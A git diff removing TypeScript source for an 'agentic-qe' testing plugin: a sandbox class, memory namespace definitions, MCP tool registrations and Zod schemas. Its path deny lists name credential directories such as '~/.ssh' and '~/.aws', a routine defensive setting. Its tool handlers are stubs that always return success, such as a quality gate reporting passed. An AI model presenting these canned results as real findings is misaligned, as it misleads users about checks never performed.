- return this.mappings.get(context)?.securityLevel ?? 'medium';
- }
-
- getMemoryNamespace(context: BoundedContext): string {
- return this.mappings.get(context)?.memoryNamespace ?? 'aqe/v3/default';
- }
-}
-
-// =============================================================================
-// Security Sandbox Implementation
-// =============================================================================
-
-/**
- * Security sandbox for executing test code safely
- */
-class SecuritySandbox implements ISecuritySandbox {
- private config: AQEPluginConfig['sandbox'];
- private activeOperations = 0;
-
- constructor(config: AQEPluginConfig['sandbox']) {
- this.config = config;
- }
-
- async execute<T>(
- fn: () => Promise<T>,
- options: {
- securityLevel?: SecurityLevel;
- allowNetwork?: boolean;
- allowFileWrite?: boolean;
- timeout?: number;
- } = {}
- ): Promise<T> {
- const timeout = options.timeout ?? this.config?.maxExecutionTime ?? 30000;
- const level = options.securityLevel ?? 'medium';
-
- // Validate execution is allowed
- if (!this.checkPolicy('execute', level)) {
- throw new Error(`Execution not allowed at security level: ${level}`);
- }
-
- this.activeOperations++;
-
- try {
- // Create timeout promise
- const timeoutPromise = new Promise<never>((_, reject) => {
- setTimeout(
- () => reject(new Error(`Execution timeout after ${timeout}ms`)),
- timeout
- );
- });
-
- // Race execution against timeout
- return await Promise.race([fn(), timeoutPromise]);
- } finally {
- this.activeOperations--;
- }
- }
-
- checkPolicy(operation: string, level: SecurityLevel): boolean {
- const levelPriority: Record<SecurityLevel, number> = {
- low: 1,
- medium: 2,
- high: 3,
- critical: 4,
- };
-
- // Critical operations require explicit approval
- if (levelPriority[level] >= 4 && operation === 'execute') {
- return this.config?.networkPolicy !== 'blocked';
- }
-
- return true;
- }
-
- validatePath(path: string): boolean {
- // Check against blocked paths
- const blockedPaths = this.config?.blockedPaths ?? ['/etc', '/proc', '/sys'];
- for (const blocked of blockedPaths) {
- if (path.startsWith(blocked)) {
- return false;
- }
- }
- return true;
- }
-
- getResourceUsage(): ResourceUsage {
- return {
- memoryUsed: process.memoryUsage().heapUsed,
- memoryBytes: process.memoryUsage().heapUsed,
- cpuTime: process.cpuUsage().user,
- cpuMs: process.cpuUsage().user / 1000,
- activeOperations: this.activeOperations,
- networkRequests: 0,
- fileOperations: 0,
- };
- }
-}
-
-// =============================================================================
-// Memory Namespace Definitions
-// =============================================================================
-
-/**
- * Get all QE memory namespace definitions
- */
-function getMemoryNamespaces(): QEMemoryNamespace[] {
- return [
- {
- name: 'aqe/v3/test-patterns',
- description: 'Learned test generation patterns',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- schema: {
- patternType: { type: 'string', index: true },
- language: { type: 'string', index: true },
- framework: { type: 'string', index: true },
- effectiveness: { type: 'number' },
- usageCount: { type: 'number' },
- },
- ttl: null,
- },
- {
- name: 'aqe/v3/coverage-data',
- description: 'Coverage analysis results and gaps',
- vectorDimension: 384,
- hnswConfig: { m: 12, efConstruction: 150, efSearch: 50 },
- schema: {
- filePath: { type: 'string', index: true },
- linesCovered: { type: 'number' },
- linesTotal: { type: 'number' },
- branchCoverage: { type: 'number' },
- gapType: { type: 'string', index: true },
- priority: { type: 'number' },
- },
- ttl: 86400000, // 24h
- },
- {
- name: 'aqe/v3/defect-patterns',
- description: 'Defect intelligence and predictions',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- schema: {
- defectType: { type: 'string', index: true },
- severity: { type: 'string', index: true },
- rootCause: { type: 'string' },
- resolution: { type: 'string' },
- recurrence: { type: 'number' },
- },
- ttl: null,
- },
- {
- name: 'aqe/v3/code-knowledge',
- description: 'Code intelligence knowledge graph',
- vectorDimension: 384,
- hnswConfig: { m: 24, efConstruction: 300, efSearch: 150 },
- schema: {
- nodeType: { type: 'string', index: true },
- nodeName: { type: 'string', index: true },
- filePath: { type: 'string', index: true },
- complexity: { type: 'number' },
- dependencies: { type: 'string' },
- },
- ttl: null,
- },
- {
- name: 'aqe/v3/security-findings',
- description: 'Security scan findings and compliance',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- schema: {
- findingType: { type: 'string', index: true },
- severity: { type: 'string', index: true },
- cweId: { type: 'string', index: true },
- filePath: { type: 'string' },
- lineNumber: { type: 'number' },
- remediation: { type: 'string' },
- },
- ttl: null,
- },
- {
- name: 'aqe/v3/contracts',
- description: 'API contract definitions and validations',
- vectorDimension: 384,
- hnswConfig: { m: 12, efConstruction: 150, efSearch: 50 },
- schema: {
- contractType: { type: 'string', index: true },
- serviceName: { type: 'string', index: true },
- version: { type: 'string' },
- endpoint: { type: 'string' },
- validationStatus: { type: 'string', index: true },
- },
- ttl: null,
- },
- {
- name: 'aqe/v3/visual-baselines',
- description: 'Visual regression baselines and diffs',
- vectorDimension: 768, // Higher dim for image embeddings
- hnswConfig: { m: 32, efConstruction: 400, efSearch: 200 },
- schema: {
- componentId: { type: 'string', index: true },
- viewport: { type: 'string', index: true },
- baselineHash: { type: 'string' },
- lastUpdated: { type: 'number' },
- },
- ttl: null,
- },
- {
- name: 'aqe/v3/chaos-experiments',
- description: 'Chaos engineering experiments and results',
- vectorDimension: 384,
- hnswConfig: { m: 12, efConstruction: 150, efSearch: 50 },
- schema: {
- experimentType: { type: 'string', index: true },
- targetService: { type: 'string', index: true },
- failureMode: { type: 'string' },
- impactLevel: { type: 'string' },
- recoveryTime: { type: 'number' },
- },
- ttl: 604800000, // 7 days
- },
- {
- name: 'aqe/v3/learning-trajectories',
- description: 'ReasoningBank learning trajectories for QE',
- vectorDimension: 384,
- hnswConfig: { m: 16, efConstruction: 200, efSearch: 100 },
- schema: {
- taskType: { type: 'string', index: true },
- agentId: { type: 'string', index: true },
- success: { type: 'boolean', index: true },
- reward: { type: 'number' },
- trajectory: { type: 'string' },
- },
- ttl: null,
- },
- ];
-}
-
-// =============================================================================
-// AQE Plugin Class
-// =============================================================================
-
-/**
- * Main Agentic-QE Plugin class
- * Implements IPlugin interface for claude-flow integration
- */
-export class AQEPlugin implements IPlugin {
- readonly name = PLUGIN_NAME;
- readonly version = PLUGIN_VERSION;
- readonly description = PLUGIN_DESCRIPTION;
- readonly author = PLUGIN_AUTHOR;
- readonly capabilities = [...PLUGIN_CAPABILITIES];
-
- private config: AQEPluginConfig | null = null;
- private context: IPluginContext | null = null;
- private contextMapper: ContextMapper | null = null;
- private sandbox: SecuritySandbox | null = null;
- private initialized = false;
- private componentHealth: Map<string, ComponentHealth> = new Map();
-
- /**
- * Register the plugin with the plugin system
- */
- async register(registry: IPluginRegistry): Promise<void> {
- // Register MCP tools - use batch or individual registration
- const tools = this.getMCPTools();
- if (registry.registerTools) {
- registry.registerTools(tools);
- } else if (registry.registerTool) {
- for (const tool of tools) {
- registry.registerTool(tool);
- }
- }
-
- // Register hooks
- const hooks = this.getHooks();
- if (registry.registerHooks) {
- registry.registerHooks(hooks);
- } else if (registry.registerHook) {
- for (const hook of hooks) {
- registry.registerHook(hook);
- }
- }
-
- // Register workers
- const workers = this.getWorkers();
- if (registry.registerWorkers) {
- registry.registerWorkers(workers);
- } else if (registry.registerWorker) {
- for (const worker of workers) {
- registry.registerWorker(worker);
- }
- }
-
- // Register agents
- const agents = this.getAgents();
- if (registry.registerAgents) {
- registry.registerAgents(agents);
- } else if (registry.registerAgent) {
- for (const agent of agents) {
- registry.registerAgent(agent);
- }
- }
-
- this.updateHealth('registry', 'healthy', 'Plugin registered successfully');
- }
-
- /**
- * Initialize the plugin with context
- */
- async initialize(context: IPluginContext): Promise<void> {
- if (this.initialized) {
- throw new Error('Plugin already initialized');
- }
-
- this.context = context;
- const configData = context.getConfig?.() ?? context.config ?? {};
- this.config = parseWithDefaults(PluginConfigSchema, configData) as AQEPluginConfig;
-
- // Initialize context mapper
- this.contextMapper = new ContextMapper();
- context.set?.('aqe.contextMapper', this.contextMapper);
- this.updateHealth('contextMapper', 'healthy', 'Context mapper initialized');
-
- // Initialize security sandbox
- this.sandbox = new SecuritySandbox(this.config.sandbox ?? undefined);
- context.set?.('aqe.sandbox', this.sandbox);
- this.updateHealth('sandbox', 'healthy', 'Security sandbox initialized');
-
- // Initialize memory namespaces
- try {
- await this.initializeMemoryNamespaces();
- this.updateHealth('memory', 'healthy', 'Memory namespaces initialized');
- } catch (error) {
- this.updateHealth(
- 'memory',
- 'degraded',
- `Memory initialization failed: ${(error as Error).message}`
- );
- }
-
- this.initialized = true;
- this.updateHealth('plugin', 'healthy', 'Plugin fully initialized');
- }
-
- /**
- * Shutdown the plugin cleanly
- */
- async shutdown(): Promise<void> {
- if (!this.initialized) {
- return;
- }
-
- // Cleanup temporary memory data
- try {
- const memoryService = this.context?.getMemoryService?.();
- if (memoryService) {
- // Only clear temporary namespaces
- const tempNamespaces = ['aqe/v3/coverage-data'];
- for (const ns of tempNamespaces) {
- await memoryService.clearNamespace(ns).catch(() => {
- // Ignore cleanup errors
- });
- }
- }
- } catch {
- // Ignore cleanup errors during shutdown
- }
-
- this.initialized = false;
- this.context = null;
- this.config = null;
- this.contextMapper = null;
- this.sandbox = null;
- this.componentHealth.clear();
- }
-
- /**
- * Get plugin health status
- */
- async getHealth(): Promise<PluginHealthStatus> {
- const components: Record<string, ComponentHealth> = {};
- let overallStatus: 'healthy' | 'degraded' | 'unhealthy' = 'healthy';
-
- for (const [name, health] of this.componentHealth) {
- components[name] = health;
- if (health.status === 'unhealthy') {
- overallStatus = 'unhealthy';
- } else if (health.status === 'degraded' && overallStatus === 'healthy') {
- overallStatus = 'degraded';
- }
- }
-
- return {
- healthy: overallStatus === 'healthy',
- status: overallStatus,
- components,
- lastCheck: Date.now(),
- uptime: Date.now() - (this.initialized ? 0 : Date.now()),
- };
- }
-
- // ==========================================================================
- // Private Methods
- // ==========================================================================
-
- private updateHealth(
- component: string,
- status: 'healthy' | 'degraded' | 'unhealthy',
- message: string
- ): void {
- this.componentHealth.set(component, {
- name: component,
- healthy: status === 'healthy',
- status,
- message,
- lastCheck: Date.now(),
- lastSuccess: status === 'healthy' ? Date.now() : undefined,
- });
- }
-
- private async initializeMemoryNamespaces(): Promise<void> {
- const memoryService = this.context?.getMemoryService?.();
- if (!memoryService?.createNamespace) {
- // Memory service not available or doesn't support namespace creation
- return;
- }
-
- const namespaces = getMemoryNamespaces();
- for (const ns of namespaces) {
- await memoryService.createNamespace({
- name: ns.name,
- vectorDimension: ns.vectorDimension,
- hnswConfig: ns.hnswConfig,
- schema: ns.schema as Record<string, unknown>,
- });
- }
- }
-
- private getMCPTools(): IMCPTool[] {
- return [
- {
- name: 'aqe/generate-tests',
- description: 'Generate tests for code using AI-powered test generation',
- category: 'test-generation',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- targetPath: { type: 'string', description: 'Path to file/directory to test' },
- testType: {
- type: 'string',
- enum: ['unit', 'integration', 'e2e', 'property', 'mutation', 'fuzz'],
- default: 'unit',
- },
- framework: {
- type: 'string',
- enum: ['vitest', 'jest', 'mocha', 'pytest', 'junit'],
- },
- coverage: {
- type: 'object',
- properties: {
- target: { type: 'number', default: 80 },
- focusGaps: { type: 'boolean', default: true },
- },
- },
- style: {
- type: 'string',
- enum: ['tdd-london', 'tdd-chicago', 'bdd', 'example-based'],
- default: 'tdd-london',
- },
- },
- required: ['targetPath'],
- },
- handler: this.handleGenerateTests.bind(this),
- },
- {
- name: 'aqe/analyze-coverage',
- description: 'Analyze code coverage with O(log n) gap detection',
- category: 'coverage-analysis',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- coverageReport: { type: 'string' },
- targetPath: { type: 'string' },
- algorithm: {
- type: 'string',
- enum: ['johnson-lindenstrauss', 'full-scan'],
- default: 'johnson-lindenstrauss',
- },
- prioritize: { type: 'boolean', default: true },
- },
- required: ['targetPath'],
- },
- handler: this.handleAnalyzeCoverage.bind(this),
- },
- {
- name: 'aqe/security-scan',
- description: 'Run SAST/DAST security scans with compliance checking',
- category: 'security-compliance',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- targetPath: { type: 'string' },
- scanType: { type: 'string', enum: ['sast', 'dast', 'both'], default: 'sast' },
- compliance: {
- type: 'array',
- items: { type: 'string' },
- default: ['owasp-top-10'],
- },
- severity: { type: 'string', default: 'all' },
- },
- required: ['targetPath'],
- },
- handler: this.handleSecurityScan.bind(this),
- },
- {
- name: 'aqe/evaluate-quality-gate',
- description: 'Evaluate quality gates for release readiness',
- category: 'quality-assessment',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- gates: { type: 'array' },
- defaults: { type: 'string', enum: ['strict', 'standard', 'minimal'], default: 'standard' },
- },
- },
- handler: this.handleEvaluateQualityGate.bind(this),
- },
- {
- name: 'aqe/predict-defects',
- description: 'Predict potential defects using ML-based analysis',
- category: 'defect-intelligence',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- targetPath: { type: 'string' },
- depth: { type: 'string', enum: ['shallow', 'medium', 'deep'], default: 'medium' },
- includeRootCause: { type: 'boolean', default: true },
- },
- required: ['targetPath'],
- },
- handler: this.handlePredictDefects.bind(this),
- },
- {
- name: 'aqe/validate-contract',
- description: 'Validate API contracts (OpenAPI, GraphQL, gRPC)',
- category: 'contract-testing',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- contractPath: { type: 'string' },
- contractType: { type: 'string', enum: ['openapi', 'graphql', 'grpc', 'asyncapi'] },
- targetUrl: { type: 'string' },
- strict: { type: 'boolean', default: true },
- },
- required: ['contractPath', 'contractType'],
- },
- handler: this.handleValidateContract.bind(this),
- },
- {
- name: 'aqe/chaos-inject',
- description: 'Inject chaos failures for resilience testing',
- category: 'chaos-resilience',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- target: { type: 'string' },
- failureType: {
- type: 'string',
- enum: ['network-latency', 'network-partition', 'cpu-stress', 'memory-pressure', 'disk-failure', 'process-kill'],
- },
- duration: { type: 'number', default: 30 },
- intensity: { type: 'number', default: 0.5 },
- dryRun: { type: 'boolean', default: true },
- },
- required: ['target', 'failureType'],
- },
- handler: this.handleChaosInject.bind(this),
- },
- {
- name: 'aqe/tdd-cycle',
- description: 'Execute TDD red-green-refactor cycle with 7 specialized subagents',
- category: 'test-generation',
- version: this.version,
- inputSchema: {
- type: 'object',
- properties: {
- requirement: { type: 'string' },
- targetPath: { type: 'string' },
- style: { type: 'string', enum: ['london', 'chicago'], default: 'london' },
- maxCycles: { type: 'number', default: 10 },
- },
- required: ['requirement', 'targetPath'],
- },
- handler: this.handleTDDCycle.bind(this),
- },
- ];
- }
-
- private getHooks(): QEHookDefinition[] {
- return [
- {
- name: 'pre-test-execution',
- event: 'pre-test-execution',
- description: 'Validate test environment before execution',
- priority: 'high',
- handler: 'handlePreTestExecution',
- },
- {
- name: 'pre-security-scan',
- event: 'pre-security-scan',
- description: 'Validate scan targets and permissions',
- priority: 'critical',
- handler: 'handlePreSecurityScan',
- },
- {
- name: 'post-test-execution',
- event: 'post-test-execution',
- description: 'Store test results and learn patterns',
- priority: 'normal',
- handler: 'handlePostTestExecution',
- },
- {
- name: 'post-coverage-analysis',
- event: 'post-coverage-analysis',
- description: 'Store coverage data and update trends',
- priority: 'normal',
- handler: 'handlePostCoverageAnalysis',
- },
- {
- name: 'post-security-scan',
- event: 'post-security-scan',
- description: 'Store findings and update compliance status',
- priority: 'high',
- handler: 'handlePostSecurityScan',
- },
- ];
- }
-
- private getWorkers(): QEWorkerDefinition[] {
- return [
- {
- name: 'test-executor',
- type: 'test-executor',
- capabilities: ['test-execution', 'parallel-processing'],
- maxConcurrent: 10,
- },
- {
- name: 'coverage-analyzer',
- type: 'coverage-analyzer',
- capabilities: ['coverage-collection', 'gap-detection'],
- maxConcurrent: 5,
- },
- {
- name: 'security-scanner',
- type: 'security-scanner',
- capabilities: ['sast', 'dast'],
- maxConcurrent: 3,
- },
- ];
- }
-
- private getAgents(): QEAgentDefinition[] {
- const agents: QEAgentDefinition[] = [];
-
- // Get all agents from context mapper
- if (this.contextMapper) {
- for (const context of PLUGIN_CAPABILITIES) {
- const contextAgents = this.contextMapper.getAgentsForContext(context as BoundedContext);
- const securityLevel = this.contextMapper.getSecurityLevel(context as BoundedContext);
-
- for (const agentName of contextAgents) {
- agents.push({
- id: agentName,
- name: agentName.replace(/-/g, ' ').replace(/\b\w/g, (c) => c.toUpperCase()),
- context: context as BoundedContext,
- capabilities: [context],
- modelTier: this.getModelTierForSecurityLevel(securityLevel),
- description: `Agent for ${context} context`,
- });
- }
- }
- }
-
- return agents;
- }
-
- private getModelTierForSecurityLevel(level: SecurityLevel): ModelTier {
- switch (level) {
- case 'critical':
- return 'opus';
- case 'high':
- return 'sonnet';
- case 'medium':
- return 'sonnet';
- case 'low':
- return 'haiku';
- default:
- return 'sonnet';
- }
- }
-
- // ==========================================================================
- // MCP Tool Handlers
- // ==========================================================================
-
- private async handleGenerateTests(
- input: unknown,
- _context: IPluginContext
- ): Promise<MCPToolResult> {
- const result = {
- status: 'success',
- message: 'Test generation completed',
- data: {
- targetPath: (input as { targetPath: string }).targetPath,
- testType: (input as { testType?: string }).testType ?? 'unit',
- testsGenerated: 0,
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handleAnalyzeCoverage(
- input: unknown,
- _context: IPluginContext
- ): Promise<MCPToolResult> {
- const result = {
- status: 'success',
- message: 'Coverage analysis completed',
- data: {
- targetPath: (input as { targetPath: string }).targetPath,
- algorithm: (input as { algorithm?: string }).algorithm ?? 'johnson-lindenstrauss',
- coverage: { lines: 0, branches: 0, functions: 0 },
- gaps: [],
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handleSecurityScan(
- input: unknown,
- context: IPluginContext
- ): Promise<MCPToolResult> {
- // Validate path first
- const securityModule = context.getSecurityModule?.();
- if (securityModule) {
- const pathResult = await securityModule.pathValidator.validate(
- (input as { targetPath: string }).targetPath
- );
- if (!pathResult.valid) {
- return {
- content: [{ type: 'text', text: JSON.stringify({ error: pathResult.error }) }],
- isError: true,
- };
- }
- }
-
- const result = {
- status: 'success',
- message: 'Security scan completed',
- data: {
- targetPath: (input as { targetPath: string }).targetPath,
- scanType: (input as { scanType?: string }).scanType ?? 'sast',
- findings: [],
- complianceStatus: [],
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handleEvaluateQualityGate(
- _input: unknown,
- _context: IPluginContext
- ): Promise<MCPToolResult> {
- const result = {
- status: 'success',
- message: 'Quality gate evaluation completed',
- data: {
- passed: true,
- qualityScore: 85,
- gateResults: [],
- readiness: {
- ready: true,
- confidence: 0.85,
- blockers: [],
- warnings: [],
- },
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handlePredictDefects(
- input: unknown,
- _context: IPluginContext
- ): Promise<MCPToolResult> {
- const result = {
- status: 'success',
- message: 'Defect prediction completed',
- data: {
- targetPath: (input as { targetPath: string }).targetPath,
- predictions: [],
- hotspots: [],
- overallRisk: 0.2,
- confidence: 0.75,
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handleValidateContract(
- input: unknown,
- _context: IPluginContext
- ): Promise<MCPToolResult> {
- const result = {
- status: 'success',
- message: 'Contract validation completed',
- data: {
- contractPath: (input as { contractPath: string }).contractPath,
- contractType: (input as { contractType: string }).contractType,
- valid: true,
- errors: [],
- warnings: [],
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handleChaosInject(
- input: unknown,
- context: IPluginContext
- ): Promise<MCPToolResult> {
- const typedInput = input as {
- target: string;
- failureType: string;
- dryRun?: boolean;
- };
-
- // Check if dry run
- if (!typedInput.dryRun) {
- const uiService = context.getUIService?.();
- if (uiService) {
- const confirmed = await uiService.confirm(
- `WARNING: This will inject ${typedInput.failureType} into ${typedInput.target}. Continue?`
- );
- if (!confirmed) {
- return {
- content: [{ type: 'text', text: 'Chaos injection cancelled by user' }],
- };
- }
- }
- }
-
- const result = {
- status: 'success',
- message: 'Chaos injection completed',
- data: {
- target: typedInput.target,
- failureType: typedInput.failureType,
- dryRun: typedInput.dryRun ?? true,
- experimentId: `chaos-${Date.now()}`,
- observations: [],
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-
- private async handleTDDCycle(
- input: unknown,
- _context: IPluginContext
- ): Promise<MCPToolResult> {
- const result = {
- status: 'success',
- message: 'TDD cycle completed',
- data: {
- requirement: (input as { requirement: string }).requirement,
- targetPath: (input as { targetPath: string }).targetPath,
- style: (input as { style?: string }).style ?? 'london',
- cyclesCompleted: 0,
- testResults: { total: 0, passed: 0, failed: 0, skipped: 0 },
- agents: [
- 'requirement-analyzer',
- 'test-designer',
- 'red-phase-executor',
- 'green-phase-implementer',
- 'refactor-advisor',
- 'coverage-verifier',
- 'cycle-coordinator',
- ],
- note: 'Full implementation requires agentic-qe package',
- },
- };
-
- return {
- content: [{ type: 'text', text: JSON.stringify(result, null, 2) }],
- };
- }
-}
diff --git a/v3/plugins/agentic-qe/src/schemas.ts b/v3/plugins/agentic-qe/src/schemas.ts
deleted file mode 100644
index 190a028a76..0000000000
--- a/v3/plugins/agentic-qe/src/schemas.ts
+++ /dev/null
@@ -1,635 +0,0 @@
-/**
- * Agentic-QE Plugin Zod Schemas
- * Input validation schemas for all QE operations
- *
- * @module v3/plugins/agentic-qe/schemas
- * @version 3.2.3
- */
-
-import { z } from 'zod';
-
-// =============================================================================
-// Base Schemas
-// =============================================================================
-
-/**
- * Test type enum schema
- */
-export const TestTypeSchema = z.enum([
- 'unit',
- 'integration',
- 'e2e',
- 'property',
- 'mutation',
- 'fuzz',
- 'api',
- 'performance',
- 'security',
- 'accessibility',
- 'contract',
- 'bdd',
-]);
-
-/**
- * TDD style enum schema
- */
-export const TDDStyleSchema = z.enum(['london', 'chicago']);
-
-/**
- * Test framework enum schema
- */
-export const TestFrameworkSchema = z.enum([
- 'vitest',
- 'jest',
- 'mocha',
- 'pytest',
- 'junit',
- 'xunit',
- 'nunit',
- 'playwright',
- 'cypress',
-]);
-
-/**
- * Security level enum schema
- */
-export const SecurityLevelSchema = z.enum(['low', 'medium', 'high', 'critical']);
-
-/**
- * Model tier enum schema
- */
-export const ModelTierSchema = z.enum(['agent-booster', 'haiku', 'sonnet', 'opus']);
-
-/**
- * Contract type enum schema
- */
-export const ContractTypeSchema = z.enum(['openapi', 'graphql', 'grpc', 'asyncapi']);
-
-/**
- * Chaos failure type enum schema
- */
-export const ChaosFailureTypeSchema = z.enum([
- 'network-latency',
- 'network-partition',
- 'cpu-stress',
- 'memory-pressure',
- 'disk-failure',
- 'process-kill',
-]);
-
-/**
- * Compliance standard enum schema
- */
-export const ComplianceStandardSchema = z.enum([
- 'owasp-top-10',
- 'sans-25',
- 'pci-dss',
- 'hipaa',
- 'gdpr',
- 'soc2',
-]);
-
-/**
- * Security scan type enum schema
- */
-export const SecurityScanTypeSchema = z.enum(['sast', 'dast', 'both']);
-
-/**
- * Severity enum schema
- */
-export const SeveritySchema = z.enum(['critical', 'high', 'medium', 'low', 'info']);
-
-/**
- * Quality gate operator enum schema
- */
-export const QualityGateOperatorSchema = z.enum(['>', '<', '>=', '<=', '==']);
-
-/**
- * Coverage algorithm enum schema
- */
-export const CoverageAlgorithmSchema = z.enum(['johnson-lindenstrauss', 'full-scan']);
-
-/**
- * Bounded context enum schema
- */
-export const BoundedContextSchema = z.enum([
- 'test-generation',
- 'test-execution',
- 'coverage-analysis',
- 'quality-assessment',
- 'defect-intelligence',
- 'requirements-validation',
- 'code-intelligence',
- 'security-compliance',
- 'contract-testing',
- 'visual-accessibility',
- 'chaos-resilience',
- 'learning-optimization',
-]);
-
-// =============================================================================
-// Test Generation Schemas
-// =============================================================================
-
-/**
- * Coverage configuration schema
- */
-export const CoverageConfigSchema = z.object({
- target: z.number().min(0).max(100).default(80),
- focusGaps: z.boolean().default(true),
- includeBranches: z.boolean().optional(),
- includeFunctions: z.boolean().optional(),
-});
-
-/**
- * Test generation request schema
- */
-export const TestGenerationRequestSchema = z.object({
- targetPath: z.string().min(1, 'Target path is required'),
- testType: TestTypeSchema.default('unit'),
- framework: TestFrameworkSchema.optional(),
- coverage: CoverageConfigSchema.optional(),
- style: TDDStyleSchema.default('london'),
- context: z.string().optional(),
- language: z.string().optional(),
- maxTests: z.number().int().positive().optional(),
-});
-
-/**
- * TDD cycle request schema
- */
-export const TDDCycleRequestSchema = z.object({
- requirement: z.string().min(1, 'Requirement is required'),
- targetPath: z.string().min(1, 'Target path is required'),
- style: TDDStyleSchema.default('london'),
- maxCycles: z.number().int().min(1).max(50).default(10),
- framework: TestFrameworkSchema.optional(),
-});
-
-// =============================================================================
-// Coverage Analysis Schemas
-// =============================================================================
-
-/**
- * Coverage analysis request schema
- */
-export const CoverageAnalysisRequestSchema = z.object({
- coverageReport: z.string().optional(),
- targetPath: z.string().min(1, 'Target path is required'),
- algorithm: CoverageAlgorithmSchema.default('johnson-lindenstrauss'),
- prioritize: z.boolean().default(true),
-});
-
-// =============================================================================
-// Quality Assessment Schemas
-// =============================================================================
-
-/**
- * Quality gate schema
- */
-export const QualityGateSchema = z.object({
- id: z.string().optional(),
- name: z.string().optional(),
- metric: z.string().min(1, 'Metric is required'),
- operator: QualityGateOperatorSchema,
- threshold: z.number(),
- blocking: z.boolean().default(true),
- description: z.string().optional(),
-});
-
-/**
- * Quality gate request schema
- */
-export const QualityGateRequestSchema = z.object({
- gates: z.array(QualityGateSchema).optional(),
- defaults: z.enum(['strict', 'standard', 'minimal']).default('standard'),
- projectPath: z.string().optional(),
-});
-
-// =============================================================================
-// Defect Intelligence Schemas
-// =============================================================================
-
-/**
- * Defect prediction request schema
- */
-export const DefectPredictionRequestSchema = z.object({
- targetPath: z.string().min(1, 'Target path is required'),
- depth: z.enum(['shallow', 'medium', 'deep']).default('medium'),
- includeRootCause: z.boolean().default(true),
-});
-
-// =============================================================================
-// Security Compliance Schemas
-// =============================================================================
-
-/**
- * Security scan request schema
- */
-export const SecurityScanRequestSchema = z.object({
- targetPath: z.string().min(1, 'Target path is required'),
- scanType: SecurityScanTypeSchema.default('sast'),
- compliance: z.array(ComplianceStandardSchema).default(['owasp-top-10']),
- severityFilter: z.union([z.literal('all'), SeveritySchema]).default('all'),
-});
-
-// =============================================================================
-// Contract Testing Schemas
-// =============================================================================
-
-/**
- * Contract validation request schema
- */
-export const ContractValidationRequestSchema = z.object({
- contractPath: z.string().min(1, 'Contract path is required'),
- contractType: ContractTypeSchema,
- targetUrl: z.string().url().optional(),
- strict: z.boolean().default(true),
-});
-
-/**
- * Contract comparison request schema
- */
-export const ContractComparisonRequestSchema = z.object({
- oldContractPath: z.string().min(1, 'Old contract path is required'),
- newContractPath: z.string().min(1, 'New contract path is required'),
- contractType: ContractTypeSchema,
- strict: z.boolean().default(true),
-});
-
-// =============================================================================
-// Chaos Engineering Schemas
-// =============================================================================
-
-/**
- * Chaos injection request schema
- */
-export const ChaosInjectionRequestSchema = z.object({
- target: z.string().min(1, 'Target is required'),
- failureType: ChaosFailureTypeSchema,
- duration: z.number().int().min(1).max(3600).default(30),
- intensity: z.number().min(0).max(1).default(0.5),
- dryRun: z.boolean().default(true),
-});
-
-/**
- * Resilience assessment request schema
- */
-export const ResilienceAssessmentRequestSchema = z.object({
- experimentId: z.string().min(1, 'Experiment ID is required'),
- includeRecommendations: z.boolean().default(true),
-});
-
-// =============================================================================
-// Visual/Accessibility Schemas
-// =============================================================================
-
-/**
- * Visual regression request schema
- */
-export const VisualRegressionRequestSchema = z.object({
- targetUrl: z.string().url('Valid URL is required'),
- componentSelector: z.string().optional(),
- viewport: z.object({
- width: z.number().int().min(320).max(3840),
- height: z.number().int().min(240).max(2160),
- }).optional(),
- threshold: z.number().min(0).max(1).default(0.1),
- updateBaseline: z.boolean().default(false),
-});
-
-/**
- * Accessibility check request schema
- */
-export const AccessibilityCheckRequestSchema = z.object({
- targetUrl: z.string().url('Valid URL is required'),
- wcagLevel: z.enum(['A', 'AA', 'AAA']).default('AA'),
- includeWarnings: z.boolean().default(true),
- selector: z.string().optional(),
-});
-
-// =============================================================================
-// Plugin Configuration Schemas
-// =============================================================================
-
-/**
- * HNSW configuration schema
- */
-export const HNSWConfigSchema = z.object({
- m: z.number().int().min(4).max(64).default(16),
- efConstruction: z.number().int().min(50).max(500).default(200),
- efSearch: z.number().int().min(10).max(300).default(100),
-});
-
-/**
- * Sandbox configuration schema
- */
-export const SandboxConfigSchema = z.object({
- maxExecutionTime: z.number().int().min(1000).max(300000).default(30000),
- memoryLimit: z.number().int().min(67108864).max(2147483648).default(536870912),
- networkPolicy: z.enum(['unrestricted', 'restricted', 'blocked']).default('restricted'),
- fileSystemPolicy: z.enum(['full', 'workspace-only', 'readonly', 'none']).default('workspace-only'),
- allowedCommands: z.array(z.string()).default(['node', 'npm', 'npx', 'vitest', 'jest', 'pytest']),
- blockedPaths: z.array(z.string()).default(['/etc', '/var', '~/.ssh', '~/.aws']),
-});
-
-/**
- * Model routing configuration schema
- */
-export const ModelRoutingConfigSchema = z.object({
- enabled: z.boolean().default(true),
- preferCost: z.boolean().default(false),
- thresholds: z.object({
- tier1MaxComplexity: z.number().min(0).max(1).default(0.2),
- tier2MaxComplexity: z.number().min(0).max(1).default(0.5),
